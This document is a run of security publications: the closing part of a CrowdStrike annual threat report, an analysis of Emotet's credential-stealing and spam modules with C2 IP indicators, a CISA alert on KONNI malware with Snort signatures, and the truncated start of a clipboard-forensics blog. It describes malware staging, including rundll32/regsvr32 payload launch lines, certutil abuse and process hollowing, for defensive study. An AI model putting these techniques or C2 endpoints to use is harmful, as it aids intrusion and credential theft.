to immediately gauge the success or outcome of their ransomware operations. This change in landscape fluidity was observed following operations that targeted large organizations and resulted in attention and action from the highest levels of U.S. government and law enforcement, causing some adversaries to rebrand or even deactivate their tools. The impact of government and law enforcement action on eCrime operations was also observed in the CrowdStrike eCrime Index (ECX). For example, increased media and law enforcement attention after the Colonial Pipeline and JBS Foods incidents conducted by CARBON SPIDER and PINCHY SPIDER affiliates resulted in a reduction in data leaks and access broker advertisements, which caused the ECX to dip, recover, and remain volatile to date. New tactics, techniques, and procedures (TTPs) used in data theft attacks in 2021 aided adversaries in extorting their victims. For example, adversaries such as BITWISE SPIDER avoided using publicly available exfiltration tools by developing their own. Another major development was increased data theft and extortion without the use of ransomware, leading to the establishment of new marketplaces dedicated to advertising and selling victim data. However, one key theme highlighted throughout 2021 is that adversaries will continue to react and move operations to new approaches or malware wherever possible, demonstrating that the ever-adaptable adversary remains the key threat within the eCrime landscape. ### Iran and the New Face of Disruptive Operations CrowdStrike Intelligence is currently tracking several adversaries and activity clusters that are engaged in lock-and-leak operations. Lock-and-leak operations are characterized by criminal or hacktivist fronts using ransomware to encrypt target networks and subsequently leak victim information via actor-controlled personas or entities. Since they inauthentically operate as a criminal or hacktivist entity, these types of operations conduct activity beneath a veneer of deniability. Through the use of dedicated leak sites, social media, and chat platforms, these actors are able to amplify data leaks and conduct information operations against target countries. At present, CrowdStrike Intelligence is tracking several adversaries and activity clusters that are engaged in lock-and-leak operations. Based on available data, PIONEER KITTEN was the first adversary to switch from conducting likely traditional targeted intrusion operations to lock-and-leak activities in 2021. Following that, SPECTRAL KITTEN (aka BlackShadow), the ChaoticOrchestra activity cluster (aka Deus), and the SplinteredEnvoy activity cluster (aka Moses Staff) were observed primarily targeting Israeli entities with lock-and-leak operations throughout 2021 using multiple ransomware families. In contrast to the publicity-seeking operations and lock-and-leak campaigns observed throughout 2021, disruptive activity associated with the NEMESIS KITTEN adversary lacked a distinct messaging component and largely operated discreetly. NEMESIS KITTEN conducted wide-ranging scanning and exploitation operations to establish footholds in various networks, and in select instances, conducted ransomware operations using BitLocker, a likely unique ransomware variant called SunDawn, and, in one case, a custom wiper. The use of high-profile lock-and-leak operations, as well as the more subdued but pervasive NEMESIS KITTEN activity, provides Iran with an effective capability to disruptively target its rivals in the region and abroad. Given the success of these operations, Iran will likely continue to use disruptive ransomware into 2022. ### China Emerges as Leader in Vulnerability Exploitation CrowdStrike Intelligence observed China-nexus actors deploying exploits for new vulnerabilities at a significantly elevated rate in 2021, when compared to 2020. In 2020, CrowdStrike Intelligence confirmed the exploitation by China-nexus actors—including WICKED PANDA—of two vulnerabilities published in 2020: CVE-2020-14882 (Oracle WebLogic) and CVE-2020-10189 (Zoho ManageEngine). In 2021, CrowdStrike Intelligence confirmed China-nexus actor exploitation of 12 vulnerabilities published in 2021, affecting nine different products. Ten named adversaries or activity clusters were linked to the exploitation of these vulnerabilities, and a number of other incidents were identified in which activity was likely linked to unnamed Chinese actors. Chinese actors have long developed and deployed exploits to facilitate targeted intrusion operations; however, 2021 highlighted a shift in their preferred exploitation methods. For years, Chinese actors relied on exploits that required user interaction, whether by opening malicious documents or other files attached to emails or visiting websites hosting malicious code. In contrast, exploits deployed by these actors in 2021 focused heavily on vulnerabilities in internet-facing devices or services. In 2021, Chinese actors focused significant attention on a series of vulnerabilities in Microsoft Exchange—now collectively known as ProxyLogon and ProxyShell—and used them to launch intrusions against numerous organizations worldwide. Chinese adversaries also continued to exploit internet-routing products such as VPNs and routers for both infrastructure acquisition and initial access purposes. Enterprise software products hosted on internet-facing servers were also popular targets. CrowdStrike Intelligence observed Chinese actors exploit products for initial access in a range of intrusions such as Zoho ManageEngine, Atlassian Confluence, and GitLab. Activity from China-nexus actors in 2021 highlighted their range of exploit-acquisition capabilities. Chinese targeted intrusion actors likely independently developed a number of the observed exploits or acquired them from in-country security researchers. In particular, the Tianfu Cup hacking competition demonstrates the significant exploitation development talent within China’s hacker community. Exploits submitted at the Tianfu Cup have later been acquired by Chinese targeted intrusion actors for use in their operations. In several 2021 incidents, Chinese actors demonstrated an ability to rapidly operationalize public proof-of-concept (POC) exploit code for newly acknowledged vulnerabilities. ### Log4Shell Sets the Internet on Fire Routine discovery, disclosure, and subsequent exploitation of a series of high-profile vulnerabilities occurred throughout 2021. Due to the number of potentially affected endpoints, Log4Shell received more attention than any other vulnerability. Apache’s Log4j2 is an ubiquitous logging library used by many web applications. A vulnerability reported in November 2021 and tracked as CVE-2021-44228 and “Log4Shell” can be exploited by remote attackers to inject arbitrary Java code into affected services. Specially crafted requests may result in access to the system, delivery of malware, or acquisition of sensitive data such as user credentials. Between Dec. 9-31, 2021, a variety of groups incorporated Log4Shell exploitation into their arsenal. Opportunistic eCrime actors aggressively engaged in widespread Log4Shell exploitation most commonly affiliated with commodity botnet malware (e.g., Muhstik). However, other eCrime-focused actors—including affiliates of DOPPEL SPIDER and WIZARD SPIDER—adopted Log4Shell as an access vector to enable ransomware operations. Additionally, state-nexus actors, including NEMESIS KITTEN and AQUATIC PANDA, were also affiliated with probable Log4Shell exploitation before the end of 2021. The initial wave of opportunistic Log4Shell attacks was very simple, and each exploit was structured nearly identically. However, achieving reliable remote code execution (RCE) via CVE-2021-44228 on various impacted platforms potentially requires the actor to tailor the Log4Shell exploit for a specific target. While this adds effort, this tailoring has not prevented actors such as AQUATIC PANDA from leveraging more specific versions of CVE-2021-44228 exploits. In particular, CrowdStrike Intelligence and industry sources linked Log4Shell exploitation to the compromise of VMware products. Due to the widespread nature of the Log4j2 logging library, it is difficult to assess which products are vulnerable and ensure they are protected against exploitation. Targeting of CVE-2021-44228 by criminal threat groups is increasing and will continue into 2022. Many state-operated actors are likely to integrate Log4Shell exploits into their toolchain, since this logging library provides a method through which actors can gain access to target environments via vulnerable entry point systems or move laterally by exploiting internal servers on already compromised networks. This assessment is based on the vulnerability’s massive prevalence. However, all impacted products cannot be exploited with the same technique, and tailoring of exploits for specific targets may be required. CrowdStrike Intelligence assesses that actors will continue to integrate increasingly effective exploit chains to rapidly achieve RCE. This assessment is made with moderate confidence based on the substantial number of incidents facilitated by multistage exploit chains—such as ProxyShell and ProxyLogon—that proved commonplace during 2021. ### Increasing Threats to Cloud Environments Cloud-based services now form crucial elements of many business processes, easing file sharing and collaboration. However, these same services are increasingly abused by malicious actors in the course of computer network operations (CNO), a trend that is likely to continue in the foreseeable future as more businesses seek hybrid work environments. Common cloud attack vectors used by eCrime and targeted intrusion adversaries include cloud vulnerability exploitation, credential theft, cloud service provider abuse, use of cloud services for malware hosting and command and control, and the exploitation of misconfigured image containers. Malicious actors tend to opportunistically exploit known RCE vulnerabilities in server software, typically scanning for vulnerable servers without focusing on particular sectors or regions. After initial access, actors may deploy a variety of tools. Wider criminal exploitation of cloud services for initial access includes the exploitation of Accellion FTA vulnerabilities. Since January 2021, multiple companies have self-disclosed breaches related to the exploitation of such vulnerabilities. VMware has also been targeted by threat actors, including CVE-2021-21972—a critical vulnerability impacting VMware ESXi, vCenter Server, and Cloud Foundation products. Targeting this vulnerability provides a simple and reliable method for exploitation that threat actors can use across multiple host-operating systems, attack vectors, and intrusion stages. Multiple adversaries, particularly BGH actors, have likely leveraged this vulnerability. Credential-based intrusions against cloud environments are among the more prevalent exploitation vectors used by eCrime and targeted intrusion adversaries. Criminal actors routinely host fake authentication pages to harvest legitimate authentication credentials for cloud services such as Microsoft Office 365 (O365), Okta, or online webmail accounts. Actors then use these credentials to attempt to access victim accounts. Access to cloud-hosted email or file-hosting services can also facilitate espionage and theft of information. In April 2021, CrowdStrike observed COSMIC WOLF targeting victim data stored within the Amazon Web Services (AWS) cloud environment. The adversary compromised the AWS environment via a stolen credential that allowed the operator to interact with AWS using the command line. Employing this technique, the adversary altered security group settings to allow direct SSH access from malicious infrastructure. Adversaries have leveraged cloud service providers to abuse provider trust relationships and gain access to additional targets through lateral movement from enterprise authentication assets hosted on cloud infrastructure. If an adversary can elevate their privileges to global administrator levels, they may be able to pivot between related cloud tenants to further their access. This issue is particularly significant if the initially targeted organization is a managed service provider (MSP). In this case, global administrator access can be used to take over support accounts used by the MSP to make changes to their customer networks, thereby creating multiple opportunities for vertical propagation to many more networks. This technique was used by COZY BEAR throughout 2020, with evidence of continued intrusion in MSP networks continuing into 2021. Both eCrime and targeted intrusion adversaries extensively leverage legitimate cloud services to deliver malware; targeted actors also use these services for command and control. This tactic has the advantage of being able to evade signature-based detections, because top-level domains of cloud hosting services are typically trusted by many network scanning services. Using legitimate cloud services, including chat applications, can enable adversaries to evade some security controls by blending into normal network traffic. Moreover, using cloud-hosting providers for command and control allows the adversary to switch or remove payloads from an affiliated command and control URL with ease. Criminal actors have periodically exploited improperly configured Docker containers. Docker images are templates used for creating containers. These images can be used either on a standalone basis, for users to directly interact with a tool or service, or as the parent to another application. Because of this hierarchical mode, if an image has been modified to contain malicious tooling, any container derived from it will also be infected. In 2021, CrowdStrike Intelligence reported on the malware family Doki, which uses containers as both an initial infection vector and as a means for parallel track tasking. Once malicious actors gain access, they can abuse these escalated privileges to accomplish lateral movement and then proliferate throughout the network. CrowdStrike Intelligence has also continued to track adversary operations involving the access and modification of constituent parts of Kubernetes clusters. Kubernetes is an open-source container-orchestration system that automates the deployment, scaling, and management of applications and their associated shared resources. Falcon OverWatch has observed increasing adversary interest in Kubernetes clusters operating within corporate environments. The Kubernetes framework is a complex system comprising a number of constituent parts allowing ample opportunity for misconfiguration that could provide an adversary with initial access to one component and subsequent lateral propagation opportunities that provide access to desired resources. ## Conclusion In 2021, CrowdStrike Intelligence observed adversaries continue to adapt to security environments impacted by the ongoing COVID pandemic. These adversaries are likely to look at novel ways in which they can bypass security measures to conduct successful initial infections, impede analysis by researchers, and continue tried-and-tested techniques into 2022. BGH operations will continue to dominate the eCrime landscape in 2022, likely significantly increasing their use of ransomware from ransomware-as-a-service (RaaS) operations in an effort to allow for a wider array of adversarial skill sets. The access broker market will also continue as an avenue for ransomware operators to gain victims, removing the initial access step and allowing swifter deployment of malware. Targeted intrusion adversaries are expected to continue to capitalize on trends in technology and the broader threat landscape throughout 2022 in attempts to maximize impacts while minimizing effort. (In 2021, this behavior was reflected in Iran’s shift to disruptive ransomware, China’s emphasis on vulnerability exploitation—often at scale—to achieve initial access to victims, and Russia’s targeting of cloud service providers and environments.) Cloud-related threats are particularly likely to become more prevalent and to evolve, given that targeted intrusion adversaries are expected to continue prioritizing targets that provide direct access to large consolidated stores of high-value data. As today’s world continues to increasingly rely on mobile devices, some adversaries will continue to diversify their tool arsenal to include mobile malware—either to make money and/or collect sensitive information. Similarly, adversaries will continue to seek weaknesses in platforms used by their targets in 2022; opportunities to exploit vulnerabilities will be capitalized upon once they are discovered. Through the coming year, adversaries are expected to continue to react to vulnerability identification and seek to gain access to their targets through exploitive means as quickly as possible. In response to these evolving threats, CrowdStrike Intelligence continues to provide industry-leading actor profiles, malware analysis, and campaign tracking through its suite of reporting products and coverage of threat landscapes spanning targeted intrusion, eCrime, hacktivist, vulnerability, and mobile threat intelligence. ## Recommendations 1. **Protect All Workloads** An organization is only secure if every asset is protected. You must secure all critical areas of enterprise risk: endpoints and cloud workloads, identity, and data. Look for solutions that deliver hyper-accurate detections, automated protection and remediation, elite threat hunting, and prioritized observability of vulnerabilities. Establish strong IT hygiene with an asset inventory and consistent vulnerability management. Remember, it’s impossible to defend systems you don’t know are there. 2. **Know Your Adversary** There is a human behind every cyberattack. If you know the adversaries that target the industry or the geolocation your organization resides in, you can prepare yourself to better defend against the tools and tactics they employ. CrowdStrike Falcon Intelligence identifies today’s bad actors and exposes their playbook to enable security teams to proactively optimize preventions, strengthen defenses, and accelerate incident response. 3. **Be Ready When Every Second Counts** Speed often dictates success or failure. It’s especially true in cybersecurity where stealthy breaches can occur in a matter of hours with devastating consequences. Security teams of all sizes must invest in speed and agility for their daily and tactical decision-making by automating preventive, detection, investigative, and response workflows with integrated cyber threat intelligence directly observed from the front lines. 4. **Stop Modern Attacks** Nearly 80% of cyberattacks leverage identity-based attacks to compromise legitimate credentials and use techniques like lateral movement to quickly evade detection. CrowdStrike Falcon Identity Threat Protection enables hyper-accurate threat detection and real-time prevention of identity-based attacks, combining the power of advanced AI, behavioral analytics, and a flexible policy engine to enforce risk-based conditional access. 5. **Adopt Zero Trust** As adversaries want to monetize their activity, they target their victim’s data seeking payoffs through ransom and extortion, and will even auction data to the highest bidder. Because today’s global economy requires data to be accessible from anywhere at any time, it is critical to adopt a Zero Trust model. The CrowdStrike Zero Trust solution connects the machine to the identity and the data to deliver full Zero Trust protection. 6. **Monitor the Criminal Underground** Adversaries congregate to collaborate using a variety of hidden messaging platforms and dark web forums. In addition to monitoring your own environment, security teams must be vigilant and monitor activity within the criminal underground. Leverage digital risk monitoring tools like Falcon Intelligence Recon to monitor imminent threats to your brand, identities, or data. Get advance warnings of active threats and use this visibility to prevent data leak incidents and costly ransomware attacks. 7. **Eliminate Misconfigurations** The most common causes of cloud intrusions continue to be human errors such as omissions introduced during common administrative activities. It’s important to set up new infrastructure with default patterns that make secure operations easy to adopt. This strategy ensures that new accounts are set up in a predictable manner, eliminating common sources of human error. Also, make sure to set up roles and network security groups that keep developers and operators from needing to build their own security profiles and accidentally doing it poorly. 8. **Invest in Elite Threat Hunting** CrowdStrike has observed that 62% of attacks comprise non-malware, hands-on-keyboard activity. As adversaries advance their tradecraft in this manner to bypass legacy security solutions, autonomous machine learning alone is not good enough to stop dedicated attackers. The combination of technology with expert threat hunters is absolutely mandatory to see and stop the most sophisticated threats. Top-quality managed services such as Falcon Complete and Falcon OverWatch can help you close the growing cyber skills gap with the expertise, resources, and coverage needed to augment your team. 9. **Build a Cybersecurity Culture** While technology is clearly critical in the fight to detect and stop intrusions, the end user remains a crucial link in the chain to stop breaches. User awareness programs should be initiated to combat the continued threat of phishing and related social engineering techniques. For security teams, practice makes perfect. Encourage an environment that routinely performs tabletop exercises and red/blue teaming to identify gaps and eliminate weaknesses in your cybersecurity practices and response. ## About CrowdStrike CrowdStrike Holdings, Inc. (Nasdaq: CRWD), a global cybersecurity leader, has redefined modern security with the world’s most advanced cloud-native platform for protecting critical areas of enterprise risk—endpoints and cloud workloads, identity, and data. Powered by the CrowdStrike Security Cloud and world-class AI, the CrowdStrike Falcon® platform leverages real-time indicators of attack, threat intelligence, evolving adversary tradecraft, and enriched telemetry from across the enterprise to deliver hyper-accurate detections, automated protection and remediation, elite threat hunting, and prioritized observability of vulnerabilities. Purpose-built in the cloud with a single lightweight-agent architecture, the Falcon platform delivers rapid and scalable deployment, superior protection and performance, reduced complexity, and immediate time-to-value. CrowdStrike: We stop breaches.
# Emotet Modules and Recent Attacks **Authors** AMR Anti-Malware Research Emotet was first found in the wild in 2014. Back then its main functionality was stealing user banking credentials. Since then it has survived numerous transformations, started delivering other malware, and finally became a powerful botnet. In January 2021, Emotet was disrupted by a joint effort of different countries’ authorities. It took the threat actors almost 10 months to rebuild the infrastructure, whereupon Emotet returned in November. At that time, Trickbot malware was used to deliver Emotet. Now, Emotet is spreading by itself in malicious spam campaigns. Based on recent Emotet protocol analysis and C2 responses, we can say that now Emotet can download 16 additional modules. We were able to retrieve 10 of them (including two different copies of the Spam module), used by Emotet for Credential/Password/Account/Email stealing and spamming. In this post, we provide a brief analysis of these modules, as well as statistics on recent Emotet attacks. ## Infection Chain A typical Emotet infection begins with spam e-mails delivered with Microsoft Office (Word, Excel) attachments. Malicious macros are used to start PowerShell, and download and execute an Emotet DLL. Depending on the available access, Emotet creates a subdirectory with a random name in the `%Windows%\SysWOW64\` or `%User%\AppData\Local\` directory, and copies itself there under a randomly generated name and extension. The exported Control_RunDLL function is used to run the main activity of the Emotet DLL. After being run, the Emotet malware creates a service by calling the `CreateServiceW()` function. A randomly generated name and extension, which were used to create a copy, act as service names. If the attempt to create a new service fails, Emotet creates a new registry key in `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` with the same names that were used when creating the service. As soon as the Emotet DLL is launched, it registers with one of the 20 C2 IPs that are hardcoded in encrypted form into the malware body. Downloaded modules can also include additional C2 IPs. The following data is used for bot registration: Together with the registration data, the victim’s public key that is generated in every run is also sent to the C2. Unlike previous versions that used RSA to encrypt the generated AES key, this newest Emotet sample uses the ECDH (Elliptic curve Diffie–Hellman) algorithm, using the victim’s generated key pair together with Emotet’s public key hardcoded into the code to derive the AES key for encrypting the communication. This is done with use of the Windows API `BCryptSecretAgreement`. During our monitoring, we have observed that after registration the C2 replies with the Process List module payload. The module comes in the form of a DLL that is parsed and loaded directly into the Rundll32 process. Its entry point is called by passing a specific structure to its `DllMain` function. It is also worth noting that Emotet uses the ECDSA (Elliptic Curve Digital Signature Algorithm) to verify the payload integrity before loading it. Aside from loading the DLL into memory, there are other ways to run the payload. For example: - Write the DLL payload to disk and run it through `regsvr32.exe -s "%s"` or `rundll32.exe "%s",Control_RunDLL` - Write the payload to disk and attempt to call `CreateProcess` or duplicate the user token to call `CreateProcessAsUser` During communication, C2 returns the module bodies and configuration. Based on the configuration, the malware selects the way to run the payload module. During our research, all the modules we retrieved were launched in the parent process, but a separate thread is started for each new module. Each module has its own numeric ID and contains its own C2 list. However, all the modules we retrieved contained the same list of C2, except the Spam module. Emotet modules are delivered on demand, and there are always a few junk bytes that vary in different samples of the same module. This is likely to avoid cloud scanning or file hash detection. ### Process List Module This module sends the list of running processes back to C2. Usually, C2 does not send any other modules until it gets a response from this one. ### Mail PassView Module The module contains an embedded executable called Nir Sofer’s Mail PassView, a password recovery tool that reveals passwords and account details for various e-mail clients. In order to execute the password recovery tool, the Emotet module copies `certutil.exe` into a `%Temp%` directory under a random name with the `.exe` extension, starts the copied executable, and uses the process hollowing technique to inject the password recovery tool executable into the newly created process. The CertUtil process is started with command line arguments to force the recovery tool to save the results to file. According to the official website, the utility is capable of revealing passwords and other account details for various e-mail clients, including Outlook and Thunderbird. ### WebBrowser PassView Module This module is mostly the same as the previous one, except it uses Nir Sofer’s WebBrowser PassView password recovery tool for revealing passwords and account details in browsers. According to the official website, the utility is capable of revealing passwords and other account details in various web browsers, including Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera. Emotet has used code obfuscation for years, and this module is no exception. In the figure above, we can see that the control flow obfuscation technique is used with the variable ‘state’. Also, all API calls are resolved during runtime. This is why this API resolution layer can use junk arguments. Code listings can be larger and more obfuscated, which is why it makes no sense to show them for all modules. ### Outlook Address Grabber Module A data exfiltration module for Outlook. The module uses the Outlook Messaging API interface, iterates through Outlook profiles, and extracts all displayed names and mail addresses from each found mail. It then sends the collected e-mail addresses to C2. ### Thunderbird Address Grabber Module A data exfiltration module for Thunderbird. The module iterates through Thunderbird profiles located in `%AppData%\Roaming\Thunderbird\Profiles\`, parses Thunderbird data files, and extracts displayed names and mail addresses. It then sends the collected e-mail addresses to C2. ### Spam Module The module is responsible for sending spam. It queries C2 until it receives a response with a spam task that usually consists of three parts: - A list of e-mail servers and compromised accounts to be used to send spam; dozens of compromised accounts are stored in a single task. - A list of targeted e-mails, recipient e-mail and name, sender e-mail and name. - A spam template with subject, body, and attachments. Two of the 10 modules we were able to obtain were spam modules. Their functionality is one and the same, but the module IDs differ. ### UPnP Module An auxiliary module for testing the possibility of connecting to the infected system from the outside. In the settings of this module, which are sent by C2, together with the module itself, the external IP address of the infected system is transmitted. The first thing this module does is enumerate the network interfaces and compare their addresses with the IP address obtained from the module’s configuration settings. If a suitable network interface is found, the module opens ports for listening and waits for an incoming connection. The module can open the following ports: 80, 443, 8080, 8090, 7080, 8443, 20, 21, 22, 53, 143, 465, 990, 993, 995. If a suitable network interface is not found, it uses the SSDP protocol to find devices (modem, router, etc.) with Internet access. If suitable devices are found, the module tries to reconfigure them using `AddPortMapping` to allow port forwarding. ## Statistics Since Emotet’s return in November 2021, we have observed its activity gradually increase. In March 2022, however, based on our telemetry, the number of attacked users shot up from 2,847 in February to 9,086 — more than threefold growth. ### Victimology Emotet infects computers of companies and individual users all over the world. In Q1 2022, according to our telemetry, users of the following countries were most often targeted by Emotet: Italy (10.04%), Russia (9.87%), Japan (8.55%), Mexico (8.36%), Brazil (6.88%), Indonesia (4.92%), India (3.21%), Vietnam (2.70%), China (2.62%), Germany (2.19%), and Malaysia (2.13%). ## Conclusion The current set of modules is capable of performing a large set of malicious actions: stealing e-mails, passwords, and login data from various sources; sending spam. All these modules, except those for Thunderbird, in one form or another, have been used before by Emotet. However, there are still modules that we have not been able to obtain yet. In addition, our telemetry shows significant growth in the number of attacked users in March. We continue to actively monitor the Emotet family. More information about the malware we provide in our private reports on Kaspersky Threat Intelligence Portal. ## Indicators of Compromise Note: Because Emotet is polymorphic malware, there are no IOC hashes. ### C2 IP Addresses ``` 70.36.102.35:443 197.242.150.244:8080 188.44.20.25:443 45.118.135.203:7080 92.240.254.110:8080 103.43.46.182:443 1.234.2.232:8080 50.116.54.215:443 51.91.76.89:8080 206.188.212.92:8080 153.126.146.25:7080 178.79.147.66:8080 217.182.25.250:8080 196.218.30.83:443 51.91.7.5:8080 72.15.201.15:8080 119.193.124.41:7080 5.9.116.246:8080 151.106.112.196:8080 101.50.0.91:8080 45.142.114.231:8080 185.157.82.211:8080 46.55.222.11:443 103.75.201.2:443 176.56.128.118:443 176.104.106.96:8080 107.182.225.142:8080 31.24.158.56:8080 51.254.140.238:7080 159.65.88.10:8080 82.165.152.127:8080 146.59.226.45:443 173.212.193.249:8080 212.24.98.99:8080 212.237.17.99:8080 110.232.117.186:8080 131.100.24.231:80 209.250.246.206:443 195.201.151.129:8080 138.185.72.26:8080 ```
# Phishing Emails Used to Deploy KONNI Malware ## Summary This Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework. The Cybersecurity and Infrastructure Security Agency (CISA) has observed cyber actors using emails containing a Microsoft Word document with a malicious Visual Basic Application (VBA) macro code to deploy KONNI malware. KONNI is a remote administration tool (RAT) used by malicious cyber actors to steal files, capture keystrokes, take screenshots, and execute arbitrary code on infected hosts. ## Technical Details KONNI malware is often delivered via phishing emails as a Microsoft Word document with a malicious VBA macro code (Phishing: Spearphishing Attachment [T1566.001]). The malicious code can change the font color from light grey to black (to fool the user to enable content), check if the Windows operating system is a 32-bit or 64-bit version, and construct and execute the command line to download additional files (Command and Scripting Interpreter: Windows Command Shell [T1059.003]). Once the VBA macro constructs the command line, it uses the certificate database tool CertUtil to download remote files from a given Uniform Resource Locator. It also incorporates a built-in function to decode base64-encoded files. The Command Prompt silently copies certutil.exe into a temp directory and renames it to evade detection. The cyber actor then downloads a text file from a remote resource containing a base64-encoded string that is decoded by CertUtil and saved as a batch (.BAT) file. Finally, the cyber actor deletes the text file from the temp directory and executes the .BAT file. ## MITRE ATT&CK Techniques According to MITRE, KONNI uses the ATT&CK techniques listed below. | Technique | Use | |-----------|-----| | System Network Configuration Discovery [T1016] | KONNI can collect the Internet Protocol address from the victim’s machine. | | System Owner/User Discovery [T1033] | KONNI can collect the username from the victim’s machine. | | Masquerading: Match Legitimate Name or Location [T1036.005] | KONNI creates a shortcut called Anti virus service.lnk in an apparent attempt to masquerade as a legitimate file. | | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol [T1048.003] | KONNI has used File Transfer Protocol to exfiltrate reconnaissance data out. | | Input Capture: Keylogging [T1056.001] | KONNI has the capability to perform keylogging. | | Process Discovery [T1057] | KONNI has used tasklist.exe to get a snapshot of the current processes’ state of the target machine. | | Command and Scripting Interpreter: PowerShell [T1059.001] | KONNI used PowerShell to download and execute a specific 64-bit version of the malware. | | Command and Scripting Interpreter: Windows Command Shell [T1059.003] | KONNI has used cmd.exe to execute arbitrary commands on the infected host across different stages of the infection change. | | Indicator Removal on Host: File Deletion [T1070.004] | KONNI can delete files. | | Application Layer Protocol: Web Protocols [T1071.001] | KONNI has used Hypertext Transfer Protocol for command and control. | | System Information Discovery [T1082] | KONNI can gather the operating system version, architecture information, connected drives, hostname, and computer name from the victim’s machine and has used systeminfo.exe to get a snapshot of the current system state of the target machine. | | File and Directory Discovery [T1083] | A version of KONNI searches for filenames created with a previous version of the malware, suggesting different versions targeted the same victims and the versions may work together. | | Ingress Tool Transfer [T1105] | KONNI can download files and execute them on the victim’s machine. | | Modify Registry [T1112] | KONNI has modified registry keys of ComSysApp service and Svchost on the machine to gain persistence. | | Screen Capture [T1113] | KONNI can take screenshots of the victim’s machine. | | Clipboard Data [T1115] | KONNI had a feature to steal data from the clipboard. | | Data Encoding: Standard Encoding [T1132.001] | KONNI has used a custom base64 key to encode stolen data before exfiltration. | | Access Token Manipulation: Create Process with Token [T1134.002] | KONNI has duplicated the token of a high integrity process to spawn an instance of cmd.exe under an impersonated user. | | Deobfuscate/Decode Files or Information [T1140] | KONNI has used CertUtil to download and decode base64 encoded strings. | | Signed Binary Proxy Execution: Rundll32 [T1218.011] | KONNI has used Rundll32 to execute its loader for privilege escalation purposes. | | Event Triggered Execution: Component Object Model Hijacking [T1546.015] | KONNI has modified ComSysApp service to load the malicious DLL payload. | | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder [T1547.001] | A version of KONNI drops a Windows shortcut into the Startup folder to establish persistence. | | Boot or Logon Autostart Execution: Shortcut Modification [T1547.009] | A version of KONNI drops a Windows shortcut on the victim’s machine to establish persistence. | | Abuse Elevation Control Mechanism: Bypass User Access Control [T1548.002] | KONNI bypassed User Account Control with the "AlwaysNotify" settings. | | Credentials from Password Stores: Credentials from Web Browsers [T1555.003] | KONNI can steal profiles (containing credential information) from Firefox, Chrome, and Opera. | ## Detection Signatures CISA developed the following Snort signatures for use in detecting KONNI malware exploits. ``` alert tcp any any -> any $HTTP_PORTS (msg:"HTTP URI contains '/weget/*.php (KONNI)"; sid:1; rev:1; flow:established,to_server; content:"/weget/"; http_uri; depth:7; offset:0; fast_pattern; content:".php"; http_uri; distance:0; within:12; content:!"Referrer|3a 20|"; http_header; classtype:http-uri; priority:2; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:"KONNI:HTTP header contains 'User-Agent|3a 20|HTTP|0d 0a|'"; sid:1; rev:1; flow:established,to_server; content:"User-Agent|3a 20|HTTP|0d 0a|"; http_header; fast_pattern:only; content:"POST"; nocase; http_method; classtype:http-header; priority:2; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:"KONNI:HTTP URI contains '/weget/(upload|uploadtm|download)'"; sid:1; rev:1; flow:established,to_server; content:"/weget/"; http_uri; fast_pattern:only; pcre:"/^\/weget\x2f(?:upload|uploadtm|download)\.php/iU"; content:"POST"; http_method; classtype:http-uri; priority:2; metadata:service http;) ``` ## Mitigations CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts. - Maintain up-to-date antivirus signatures and engines. - Keep operating system patches up to date. - Disable file and printer sharing services. If these services are required, use strong passwords or Active Directory authentication. - Restrict users' ability (permissions) to install and run unwanted software applications. - Do not add users to the local administrators’ group unless required. - Enforce a strong password policy. - Exercise caution when opening email attachments, even if the attachment is expected and the sender appears to be known. - Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious email attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header). - Monitor users' web browsing habits; restrict access to sites with unfavorable content. - Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs). - Scan all software downloaded from the internet prior to executing. - Maintain situational awareness of the latest threats and implement appropriate access control lists. For additional information on malware incident prevention and handling, see the National Institute of Standards and Technology Special Publication 800-83, "Guide to Malware Incident Prevention and Handling for Desktops and Laptops."
# The Art of Clipboard Forensics: Recovering Deleted Data **April 27, 2023** ## Introduction In this blog post, I’ll be sharing my notes from my exploration of clipboard forensics. I’ll cover the tools and techniques used in this process and explain how you can use them to dump clipboard data even if it is deleted. So, if you’re interested in learning more about clipboard forensics, read on! ## Goal and Objective My goal was to challenge myself by exploring Windows APIs, focusing on the Clipboard. While I knew that Microsoft had thoroughly documented the Clipboard, I wanted to test my skills by delving deeper into its data APIs. During my exploration, I stumbled upon something that completely changed my objective: the possibility of recovering deleted Clipboard data. This discovery motivated me to push my skills further and find a way to dump even the deleted Clipboard data. I will share my findings and techniques in this blog post. I hope you enjoy reading! ## Enabling the Clipboard Now that the goal is clear, the next step is to figure out where to start. I decided to begin with the Windows System Clipboard, as it is the place where you can enable or disable the clipboard history in Windows. To understand how this works, I wanted to know how Windows knows whether the clipboard is enabled or disabled, and whether there is a registry key that controls it. To find out, I used a tool called Process Monitor to monitor registry activity on the system. After some digging, I was able to locate the registry key responsible for controlling the Clipboard feature: `ClipboardEnabled`. When this key is set to 1, the clipboard is enabled, and when it is set to 0, the clipboard is disabled. ## Enumeration So, now I know how to enable the clipboard, but I still don’t know which API I can use to get the clipboard data. I came up with an idea: what if I searched for any DLLs in the System32 folder that were named Clipboard? To my surprise, I found two DLLs: 1. `ClipboardServer.dll` 2. `SettingsHandlers_Clipboard.dll` For `ClipboardServer.dll`, I found 3 functions listed below: - `DllCanUnloadNow` - `DllGetActivationFactory` - `DllGetClassObject` For `SettingsHandlers_Clipboard.dll`, I found 4 functions listed below: - `DllCanUnloadNow` - `DllGetActivationFactory` - `DllGetClassObject` - `GetSetting` But I still feel like there are other DLLs I didn’t get, so I tried to get the loaded DLL in the current running processes using the command `tasklist /m`. Then I found 2 other DLLs listed below: 1. `Clipc.dll` 2. `ClipSVC.dll` For `ClipSVC.dll`, I found 2 functions listed below: - `ServiceMain` - `SvchostPushServiceGlobals` For `Clipc.dll`, I found 22 functions, and the function names seemed to be related to clipboard APIs. I also attempted to find the related process for the clipboard viewer by pressing `WIN+V`. However, the problem with the clipboard viewer is that once you click anywhere 